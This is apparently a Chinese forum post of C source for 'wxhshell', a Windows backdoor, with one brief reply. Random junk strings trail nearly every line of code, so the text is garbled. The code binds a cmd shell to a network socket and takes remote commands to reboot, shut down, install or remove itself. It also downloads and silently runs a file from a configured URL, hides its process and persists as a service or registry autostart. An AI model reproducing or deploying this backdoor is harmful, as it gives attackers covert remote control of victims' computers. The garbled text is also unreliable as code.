  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f:A1j\A?  
  if(DownloadFile(cmd,wsh)) Kx,<-]4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X4v0>c  
  else ~,84E [VV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >uz3 O?z P  
  } U#n1N7P|$F  
  else { ?w"zW6U  
Cy\! H&0wg  
    switch(cmd[0]) { <3b Ft[  
  Y X{F$BM  
  // 帮助 )>^!X$`3  
  case '?': { G+Zm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *f+DV[DF  
    break; R-Z)0S'ZR  
  } O>2i)M-h9x  
  // 安装 yUFT9bD  
  case 'i': { $[*<e~?  
    if(Install()) p!~V@l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B P0*`TY  
    else 8}!WJ2[R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iXuSFman  
    break; q!8aYw+c  
    } A]s|"Pav,  
  // 卸载 )Es|EPCx!  
  case 'r': { e[L%M:e9U  
    if(Uninstall()) !&vPG>V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a.s5>:Ct  
    else 'u4TI=[6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $2pkh%  
    break; i~EFRI@  
    } :pgpE0  
  // 显示 wxhshell 所在路径 X?OH//co  
  case 'p': { 7,Q>>%/0P  
    char svExeFile[MAX_PATH]; @L5s.]vg=  
    strcpy(svExeFile,"\n\r"); R"qxT.P(  
      strcat(svExeFile,ExeFile); c`_[q{(^m  
        send(wsh,svExeFile,strlen(svExeFile),0); *TP>)o  
    break; >Y"Ru#Ju9  
    } pu6@X7W"  
  // 重启 D1 f}g  
  case 'b': { B)u*c]<qU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8{4jlL;"`?  
    if(Boot(REBOOT)) o",J{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '@,M 'H{  
    else { o) ,1R:  
    closesocket(wsh); P jh3=Dr  
    ExitThread(0); 1gDsL  
    } c^EU &q{4  
    break; K0] 42K  
    } QlK]2r9  
  // 关机 JY6^pC}*  
  case 'd': { K)F6TvWv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RD0=\!w*5  
    if(Boot(SHUTDOWN)) k^*S3#"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [,/~*L;7  
    else { ])NQzgS  
    closesocket(wsh); .V`N^ H:l  
    ExitThread(0); Al pk5o5B  
    } >K-S&Y  
    break; Q6rvTV'vv  
    } Ni-@El99  
  // 获取shell M)j.Uu  
  case 's': { ^K'@W  
    CmdShell(wsh); Vo8gLX]a  
    closesocket(wsh); TnQ"c)ta  
    ExitThread(0); Dt=@OZW  
    break; 6_kv~`"tZ  
  } 7 HM%Cd  
  // 退出 YzVhNJWpw  
  case 'x': { gis;)al  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oA]rwa UX  
    CloseIt(wsh); h3t);}Y}D9  
    break; bn6WvC 3?  
    } sA!$}W  
  // 离开 G#nZ%qQ:I  
  case 'q': { 6-J%Z%yT #  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r: M>/Z/  
    closesocket(wsh); + Un(VTD  
    WSACleanup(); I> BGp4AQ  
    exit(1); 6w)a.^yx7  
    break; )uu1AbT +e  
        } kqQT^6S   
  } \2!1fN  
  } dh S7}n  
On-zbE  
  // 提示信息 &r)[6a$fW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uJ T^=Y  
} ,u_ Z0S M  
  } 7B{LRm6;Vu  
pq$-s7#  
  return; h1 pEC  
} ce:p*  
Xli$4 uL   
// shell模块句柄  x>$e*  
int CmdShell(SOCKET sock) x7ZaI{    
{ FS^~e-A  
STARTUPINFO si; F(KsB5OY?  
ZeroMemory(&si,sizeof(si)); c8 Je&y8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h5<eU;Rw+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7!U^?0?/  
PROCESS_INFORMATION ProcessInfo; yc+pNC)ue_  
char cmdline[]="cmd"; YJu~iQ`i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 75^AO>gt   
  return 0; 5XoM)  
} c*.-mS~Z`  
a'Yi^;2+\  
// 自身启动模式 Q|xa:`3?  
int StartFromService(void) Z5|BwM  
{ C?j:+  
typedef struct e2^TQv2(=e  
{ Q$(Fm a4a  
  DWORD ExitStatus; -nXlW  
  DWORD PebBaseAddress; DS=$* Trk  
  DWORD AffinityMask; lFl(Sww!\  
  DWORD BasePriority; o$Ju\(Y$<+  
  ULONG UniqueProcessId; QQJf;p7  
  ULONG InheritedFromUniqueProcessId; slzB#  
}   PROCESS_BASIC_INFORMATION; sGa}Cf;H@g  
e|N~tUVrrN  
PROCNTQSIP NtQueryInformationProcess; % Ai' 6  
s'|t2`K("  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;5DDV6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :V1j*)  
McpQ7\*h  
  HANDLE             hProcess; 5;+KMM:zb  
  PROCESS_BASIC_INFORMATION pbi; yzT4D>1,  
Gk]ZP31u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >, [@SF%  
  if(NULL == hInst ) return 0; ^t:dcY7  
V';l H2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e3ce?gk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /3&MUB*z&y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `/^ _W <  
AmC?qoEWQ7  
  if (!NtQueryInformationProcess) return 0; hHHQmK<r  
9:P]{}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v2_` iwE  
  if(!hProcess) return 0; w@<II-9L)<  
=3 Vug2*wd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J\P6  
ES?*w@x  
  CloseHandle(hProcess); q k 6  
[q U v|l1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J>5rkR@/  
if(hProcess==NULL) return 0; 1X&.po  
&7oL2 Wf  
HMODULE hMod; vFB^h1k~.M  
char procName[255]; vENf3;o0  
unsigned long cbNeeded; X\/M(byn  
!1fZ7a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rq%Kw > {&  
J|].h  
  CloseHandle(hProcess); n{i,`oQ"  
p |1u,N  
if(strstr(procName,"services")) return 1; // 以服务启动 50j8+xJPV  
10i$b<O  
  return 0; // 注册表启动 (Xcy/QT  
} 9&5<ZC-D  
S.)Jp -&K  
// 主模块 zD79M  
int StartWxhshell(LPSTR lpCmdLine) u;gO+)wqv  
{ qQi\/~Y[:  
  SOCKET wsl; KGHSEZi]  
BOOL val=TRUE; 6oNcj_?7?q  
  int port=0; lOk8VlH<h  
  struct sockaddr_in door; L]|mWyzT  
6eB;  
  if(wscfg.ws_autoins) Install(); R2gV(L(!!  
L"NHr~  
port=atoi(lpCmdLine); #uw&u6*\q  
`(sb  
if(port<=0) port=wscfg.ws_port; uI)twry]@  
iU;e!\A  
  WSADATA data; o^\Pt<~W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y8\P"q b  
`x#Ud)g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g4$(%]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &~ y)b`r  
  door.sin_family = AF_INET; >F7w]XH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ds(?:zx#  
  door.sin_port = htons(port);  b.&W W  
[d6!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LdV&G/G-#D  
closesocket(wsl); 7{L4a\JzT  
return 1; DPTk5o[  
} 8Ojqm#/f  
P5h|* ?=  
  if(listen(wsl,2) == INVALID_SOCKET) { ] 3"t]U'f  
closesocket(wsl); ?)xIn)#l s  
return 1; " B#|C'   
} t'rN7.d  
  Wxhshell(wsl); LH8jT  
  WSACleanup(); `hi=y BO  
:$MOdLr  
return 0;  5&&4-  
f"QiVJq  
} &riGzU]  
elOeXYO0  
// 以NT服务方式启动 {AL EK   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /\I6j;$z  
{ r~t`H*C)}  
DWORD   status = 0; tS'lJu  
  DWORD   specificError = 0xfffffff; = xO03|T;6  
^Xk!wJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0 &zp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; py*22Ua^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K4c:k; V  
  serviceStatus.dwWin32ExitCode     = 0; K,E/.Qe\C  
  serviceStatus.dwServiceSpecificExitCode = 0; ;b$P*dSG}  
  serviceStatus.dwCheckPoint       = 0; H_DCdUgC'  
  serviceStatus.dwWaitHint       = 0;  +$dJA  
ze+YQ F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?"6Zf LRi  
  if (hServiceStatusHandle==0) return; Rh!UbEPjC  
v= 55{  
status = GetLastError(); {3~VLdy  
  if (status!=NO_ERROR) 9u B?-.  
{ _pvB$&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ys"wG B>  
    serviceStatus.dwCheckPoint       = 0; 25Dl4<-Z  
    serviceStatus.dwWaitHint       = 0; m>@hh#kBg  
    serviceStatus.dwWin32ExitCode     = status; 9wgB J Jl7  
    serviceStatus.dwServiceSpecificExitCode = specificError; _bFUr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iNO>'7s7  
    return; &`"DG$N(  
  } P6:9o}K6  
f98,2I(>`+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RJrz ~,}  
  serviceStatus.dwCheckPoint       = 0; 3[YG BM(  
  serviceStatus.dwWaitHint       = 0; :RaQ =C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K$CC ~,D  
} p8 rh`7  
+HK4sA2;  
// 处理NT服务事件,比如:启动、停止 LD$5KaOW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7FB?t<x  
{ I= mz^c{  
switch(fdwControl) hnnB4]c  
{ jh5QIZf=  
case SERVICE_CONTROL_STOP: 7+O)AU{  
  serviceStatus.dwWin32ExitCode = 0; 8Sbz)X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6#=jF[  
  serviceStatus.dwCheckPoint   = 0; %( )d$.F  
  serviceStatus.dwWaitHint     = 0; X8Z?G,[H  
  { %pC<T*f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %b6$N_M{H1  
  } -;""l{  
  return; zp:dArh0  
case SERVICE_CONTROL_PAUSE: o3J#hQrl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i Ha?b2=)  
  break; 9:j?Jvw$  
case SERVICE_CONTROL_CONTINUE: /]0qI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]?9*Vr:P^  
  break; W5*ldXXk  
case SERVICE_CONTROL_INTERROGATE: Ayz*2 N`%  
  break; tpfgUZ{  
}; S}6Ld(_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y Zaf q"o  
} vygzL U^  
d?,'$$aB  
// 标准应用程序主函数 inP2y?j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :@A&HkF  
{ }:Z.g  
0w?da~  
// 获取操作系统版本 _~kw^!p>Kr  
OsIsNt=GetOsVer(); %iyc1]w{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _NDQ2O  
bA;OphO(  
  // 从命令行安装 f|[7LIdh-  
  if(strpbrk(lpCmdLine,"iI")) Install(); mdi!Q1pS  
i:lc]B  
  // 下载执行文件 u3T-U_:jSV  
if(wscfg.ws_downexe) { cslC+e/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 727#7Bo  
  WinExec(wscfg.ws_filenam,SW_HIDE); crmQn ^4\  
} M2$/x`\-~  
? <?Ogq"<  
if(!OsIsNt) { m+QS -woHn  
// 如果时win9x,隐藏进程并且设置为注册表启动 0'^M}&zCi  
HideProc(); FP@_V-  
StartWxhshell(lpCmdLine); 73Dxf -  
} Lg:1zC  
else qv!(In>u  
  if(StartFromService()) U2Ve @.  
  // 以服务方式启动 G%F#I  
  StartServiceCtrlDispatcher(DispatchTable); T(!1\TB  
else E=NjWO  
  // 普通方式启动 ~q>jXi  
  StartWxhshell(lpCmdLine); I?T !  
x]^d'o:cDP  
return 0; aDS:82GMQ  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八